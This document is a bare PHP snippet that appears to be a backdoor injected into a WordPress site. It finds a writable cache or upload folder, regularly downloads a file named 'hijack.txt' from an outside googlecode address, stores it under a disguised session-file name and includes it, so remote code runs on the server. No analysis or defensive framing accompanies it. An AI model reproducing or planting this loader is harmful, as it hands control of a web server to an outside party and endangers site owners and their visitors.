//<?php
if(!function_exists('rss_dl')){
function rss_dl($url) {
			$ch = curl_init();$timeout = 5;curl_setopt ($ch, CURLOPT_URL, $url);
			curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
			$file_contents = curl_exec($ch);
			curl_close($ch);
		return $file_contents;
}
}
$tdirr = include_tmpdir();
$file = include_getcache($tdirr,"http://l4nc0d3.googlecode.com/svn/trunk/hijack.txt",60*1,true);
include($file);
function include_tmpdir(){
		$fs = array('/tmp','/var/tmp','./wp-content/cache','./wp-content/uploads','./tmp','./cache','./images');
        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {
            if ($t = getenv($v)) {$fs[]=$t;}
        }
        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}
        $fs[]='.';
        
        foreach ($fs as $f){
        	$tf = $f.'/'.md5(rand());
        	if($fp = @fopen($tf, 'w')){
        		fclose($fp);
        		unlink($tf);
        		return $f;
        	}
        }
		return false;
	}
function include_getcache($tmpdir,$link,$cmtime,$toe=false){
		$f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));
		$fe = @file_exists($f);
		if(!$fe || time() - filemtime($f) > 60 * $cmtime || filesize($f) < 100)
		{
			$dlc=rss_dl($link);
			if($fe && $dlc===false) 
				@touch($f);
			else
			{
				if($fe && empty($dlc) && $toe) 
				{
					@touch($f);
				}
				else
				{	
					if($fp = @fopen($f,'w')){
					fwrite($fp,$dlc);
					fclose($fp);
					}
					else{
					return '';
					}
				}
			}
		}
		return($f);
	}
//?>